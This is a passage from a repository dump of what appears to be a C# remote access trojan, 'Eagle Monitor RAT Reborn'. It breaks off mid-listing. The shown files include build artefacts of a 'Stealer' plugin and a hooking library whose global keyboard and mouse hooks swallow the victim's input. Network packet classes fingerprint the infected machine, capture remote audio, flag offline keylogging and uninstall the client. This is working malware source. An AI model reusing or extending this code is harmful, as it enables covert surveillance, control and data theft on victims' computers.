    "path": "Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/obj/x64/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/Global.cs",
    "content": "﻿using System.Threading;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace HookHardware\n{\n    public static class Global\n    {\n\t\tpublic static Thread keyboadThread = new Thread(KeyboardThread);\n\t\tpublic static Keyboard keyboardHook = new Keyboard();\n\n\t\tpublic static Thread mouseThread = new Thread(MouseThread);\n\t\tpublic static Mouse mouseHook = new Mouse();\n\n\t\tpublic static void HookKeyboard()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tkeyboadThread.Start();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\n\t\tprivate static void KeyboardThread()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tkeyboardHook.HookKeyboard();\n\t\t\t\tApplication.Run();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\n\t\tpublic static void UnhookKeyboard()\n\t\t{\n\t\t\tkeyboadThread.Abort();\n\t\t\tkeyboardHook.AbortHook();\n\t\t}\n\n\t\tpublic static void HookMouse()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tmouseThread.Start();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\t\tprivate static void MouseThread()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tmouseHook.HookMouse();\n\t\t\t\tApplication.Run();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\t\tpublic static void UnhookMouse()\n\t\t{\n\t\t\tmouseThread.Abort();\n\t\t\tmouseHook.AbortHook();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/HookHardware.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{64C6E036-FF80-4F45-87F6-0A9996131FA1}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>HookHardware</RootNamespace>\n    <AssemblyName>HookHardware</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Global.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Keyboard.cs\" />\n    <Compile Include=\"Mouse.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/Imports.cs",
    "content": "﻿using System;\nusing System.Drawing;\nusing System.Runtime.InteropServices;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace HookHardware\n{\n    internal class Imports\n    {\n        #region \"user32\"\n        private const string user32 = \"user32.dll\";\n        [DllImport(user32)]\n        internal static extern bool UnhookWindowsHookEx(IntPtr hook);\n\n        [DllImport(user32)]\n        internal static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, IntPtr wp, IntPtr lp);\n\n        [DllImport(user32)]\n        internal static extern IntPtr SetWindowsHookEx(int id, Keyboard.LowLevelKeyboard callback, IntPtr hMod, uint dwThreadId);\n        [DllImport(user32)]\n        internal static extern IntPtr SetWindowsHookEx(int id, Mouse.LowLevelMouse callback, IntPtr hMod, uint dwThreadId);\n        #endregion\n\n        #region \"Keyboard\"\n        internal const short WM_INPUT =             0x00ff;\n        internal const short WM_KEYDOWN =           0x0100;\n        internal const short WM_KEYUP =             0x0101;\n        internal const short WM_CHAR =              0x0102;\n        internal const short WM_DEADCHAR =          0x0103;\n        internal const short WM_SYSKEYDOWN =        0x0104;\n        internal const short WM_SYSKEYUP =          0x0105;\n        internal const short WM_SYSCHAR =           0x0106;\n        internal const short WM_SYSDEADCHAR = 0x0107;\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct KBDLLHOOKSTRUCT\n        {\n            public Keys key;\n            public int scanCode;\n            public int flags;\n            public int time;\n            public IntPtr extra;\n        }\n        #endregion\n\n        #region\"Mouse\"\n        internal const short WM_MOUSEMOVE =         0x200;\n        internal const short WM_LBUTTONDOWN =       0x201;\n        internal const short WM_LBUTTONUP =         0x202;\n\n        internal const short WM_LEFT_CLICK =        0x203;//????\n\n        internal const short WM_RBUTTONDOWN =       0x204;\n        internal const short WM_RBUTTONUP =         0x205;\n        internal const short WM_RBUTTONDBLCLK =     0x206;\n        internal const short WM_MOUSEWHEEL =        0x020A;\n        internal const short WM_MOUSEHWHEEL =       0x020E;\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct MSLLHOOKSTRUCT\n        {\n            public Point pt;\n            public int mouseData;\n            public int flags;\n            public int time;\n            public IntPtr extra;\n        }\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/Keyboard.cs",
    "content": "﻿using System;\nusing static HookHardware.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace HookHardware\n{\n    public class Keyboard\n    {\n        protected static IntPtr ptrHook;\n        internal delegate IntPtr LowLevelKeyboard(int nCode, IntPtr wParam, IntPtr lParam);\n        internal static LowLevelKeyboard callback;\n\n\t\tpublic void AbortHook()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t//MessageBox.Show(ptrHook.ToString(\"x\"));\n\t\t\t\tif (ptrHook != IntPtr.Zero)\n\t\t\t\t\tUnhookWindowsHookEx(ptrHook);\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\t\tpublic void HookKeyboard()\n\t\t{\n\t\t\tcallback = new LowLevelKeyboard(BlockKey);\n\t\t\tptrHook = SetWindowsHookEx(13, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0);\n\t\t}\n\n\t\tprotected static IntPtr BlockKey(int nCode, IntPtr wp, IntPtr lp)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (nCode >= 0)\n\t\t\t\t{\n\n\t\t\t\t\tif (wp == (IntPtr)WM_CHAR)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_DEADCHAR)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_INPUT)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_KEYDOWN)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_KEYUP)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_SYSCHAR)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_SYSDEADCHAR)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\n\t\t\t\t\tif (wp == (IntPtr)WM_SYSKEYUP)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (wp == (IntPtr)WM_SYSKEYDOWN)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{}\n\t\t\t\treturn IntPtr.Zero;\n\t\t\t}\n\t\t\tcatch { }\n\t\t\treturn IntPtr.Zero;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/Mouse.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static HookHardware.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace HookHardware\n{\n    public class Mouse\n    {\n\n        protected static IntPtr ptrHook;\n        internal delegate IntPtr LowLevelMouse(int nCode, IntPtr wParam, IntPtr lParam);\n        internal static LowLevelMouse callback;\n\n\t\tpublic void AbortHook()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (ptrHook != IntPtr.Zero)\n\t\t\t\t\tUnhookWindowsHookEx(ptrHook);\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\t\tpublic void HookMouse()\n\t\t{\n\t\t\tcallback = new LowLevelMouse(BlockKey);\n\t\t\tptrHook = SetWindowsHookEx(14, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0);\n\t\t}\n\n\t\tprotected static IntPtr BlockKey(int nCode, IntPtr wp, IntPtr lp)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (nCode >= 0)\n\t\t\t\t{\n\t\t\t\t\tMSLLHOOKSTRUCT objKeyInfo = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lp, typeof(MSLLHOOKSTRUCT));\n\t\t\t\t\tif (wp == (IntPtr)WM_LBUTTONDOWN) //WM_LBUTTONDOWN\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_LBUTTONUP) //WM_LBUTTONUP\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_LEFT_CLICK) //'LEFT DB CLICK\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_RBUTTONDOWN) //'WM_RBUTTONDOWN\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_RBUTTONUP) //'WM_RBUTTONUP\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_RBUTTONDBLCLK) //' WM_RBUTTONDBLCLK\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_MOUSEMOVE) //' MOUSE MOVE\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_MOUSEWHEEL) //' MOUSE MOVE\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t\tif (wp == (IntPtr)WM_MOUSEHWHEEL) //' MOUSE MOVE\n\t\t\t\t\t{\n\t\t\t\t\t\treturn wp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{}\n\t\t\t\treturn IntPtr.Zero;\n\t\t\t}\n\t\t\tcatch { }\n\n\t\t\treturn IntPtr.Zero;\n\t\t}\n\t}\n}\n\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"HookHardware\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Eagle Monitor RAT\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"64c6e036-ff80-4f45-87f6-0a9996131fa1\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Debug/HookHardware.csproj.CoreCompileInputs.cache",
    "content": "ff3eccbf27df8dc3ac959341b88822f4955231a0\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Debug/HookHardware.csproj.FileListAbsolute.txt",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\bin\\Debug\\HookHardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\bin\\Debug\\HookHardware.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\bin\\Debug\\HookHardware.pdb\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Debug\\HookHardware.pdb\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.CoreCompileInputs.cache",
    "content": "9999eb1e9fdea4352ab06a5059721fab534aa2f0\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\bin\\Release\\HookHardware.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Release\\HookHardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\bin\\Release\\HookHardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\HookHardware\\obj\\Release\\HookHardware.dll\nC:\\Eagle Monitor RAT Reborn\\HookHardware\\bin\\Release\\HookHardware.dll\nC:\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\HookHardware\\bin\\Release\\HookHardware.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\bin\\Release\\HookHardware.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\bin\\Release\\HookHardware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\bin\\Release\\HookHardware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\HookHardware\\obj\\Release\\HookHardware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\bin\\Release\\HookHardware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\obj\\Release\\HookHardware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\bin\\Release\\HookHardware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\obj\\Release\\HookHardware.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\obj\\Release\\HookHardware.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Utils\\HookHardware\\obj\\Release\\HookHardware.dll\n"
  },
  {
    "path": "Remote Access Tool/Utils/HookHardware/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs",
    "content": "﻿using PacketLib.Packet;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib\n{\n    public interface IPacket\n    {\n        PacketType PacketType { get; }\n        PacketState PacketState { get; set; }\n        byte[] Plugin { get; set; }\n        string BaseIp { get; set; }\n        string HWID { get; set; }\n        string Status { get; set; }\n        string DatePacketStatus { get; set; }\n        int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/LoadingAPI.cs",
    "content": "﻿using PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib\n{\n    public class LoadingAPI\n    {\n        public Host Host { get; set; }\n        public string BaseIp { get; set; }\n        public string HWID { get; set; }\n        public string Key { get; set; }\n        public IPacket CurrentPacket { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteAudioCapturePacket : IPacket\n    {\n        public RemoteAudioCapturePacket(PacketType packetType) : base()\n        {\n            this.PacketType = packetType;\n        }\n\n        public RemoteAudioCapturePacket(byte[] audioCapture, int bytesRecorded) : base()\n        {\n            this.PacketType = PacketType.AUDIO_RECORD_ON;\n            this.audioCapture = audioCapture;\n            this.bytesRecorded = bytesRecorded;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public int quality { get; set; }\n        public int index { get; set; }\n        public byte[] audioCapture { get; set; }\n        public int bytesRecorded { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteAudioPacket : IPacket\n    {\n        public RemoteAudioPacket() : base()\n        {\n            this.PacketType = PacketType.AUDIO_GET_DEVICES;\n        }\n\n        public RemoteAudioPacket(List<string> audioDevices, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.AUDIO_GET_DEVICES;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.audioDevices = audioDevices;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<string> audioDevices { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class BaseIpPacket : IPacket\n    {\n        public BaseIpPacket(string baseIp) : base()\n        {\n            this.PacketType = PacketType.CONNECTED;\n            this.BaseIp = baseIp;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ClosePacket : IPacket\n    {\n        public ClosePacket() : base()\n        {\n            this.PacketType = PacketType.CLOSE_CLIENT;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs",
    "content": "﻿using PacketLib.Utils;\nusing System;\nusing System.Globalization;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ConnectedPacket : IPacket\n    {\n        //client\n        public ConnectedPacket() : base()\n        {\n            Plugin = null;\n            Microsoft.VisualBasic.Devices.Computer I = new Microsoft.VisualBasic.Devices.Computer();\n            PacketType = PacketType.CONNECTED;\n            Native.GetPhysicallyInstalledSystemMemory(out long lRam);\n            RAM = string.Format(\"{0}Gb\", (ulong)((double)lRam / 1024d / 1024d));\n            HWID = HwidGen.HWID();\n            Is64Bit = Miscellaneous.Check64Bit();\n            Privilege = Miscellaneous.Privilege();\n            OSName = I.Info.OSFullName;\n            Username = Environment.UserName;\n            RegionName = RegionInfo.CurrentRegion.Name + \" - \" + RegionInfo.CurrentRegion.EnglishName;\n            RegionFlag = RegionInfo.CurrentRegion.Name.ToLower();\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string RAM { get; }\n        public string Is64Bit { get; }\n        public string Privilege { get; }\n        public string OSName { get; }\n        public string Username { get; }\n        public string RegionName { get; }\n        public string RegionFlag { get; }\n        public bool keylogOffline { get; set; }\n        public string sigKey { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class UninstallPacket : IPacket\n    {\n        public UninstallPacket() : base()\n        {\n            this.PacketType = PacketType.UNINSTALL_CLOSE_CLIENT;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs",
